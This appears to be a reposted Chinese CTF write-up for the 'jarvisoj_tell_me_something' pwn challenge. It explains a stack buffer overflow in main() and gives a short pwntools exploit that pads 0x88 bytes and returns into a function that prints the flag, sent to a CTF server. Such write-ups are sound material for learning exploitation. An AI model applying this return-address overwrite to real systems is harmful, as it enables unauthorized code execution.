本文主要是介绍jarvisoj_tell_me_something,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
jarvisoj_tell_me_something
使用checksec
查看:
看来又是一道栈溢出的题目,直接放IDA查看:
一眼看过去,main()
函数中就已经存在栈溢出了
查看字符串可以发现,存在一个flag.txt
的字符串,跟进函数查看:
这个函数读取并打印了flag,so…我们只需要return到这个函数即可
需要注意的是:
函数起始的时候并没有将rbp
压入栈中,结束的时候也没有leave
所以我们在ret的时候不需要加上偏移,直接在0x88
后面加上要ret的函数的地址
exp:
from pwn import *#start
r = remote("node4.buuoj.cn",28428)
# r = process("../buu/jarvisoj_tell_me_something")#params
good_game_addr = 0x400620#attack
payload = b'M'*0x88 + p64(good_game_addr)
r.sendline(payload)r.interactive()
这篇关于jarvisoj_tell_me_something的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!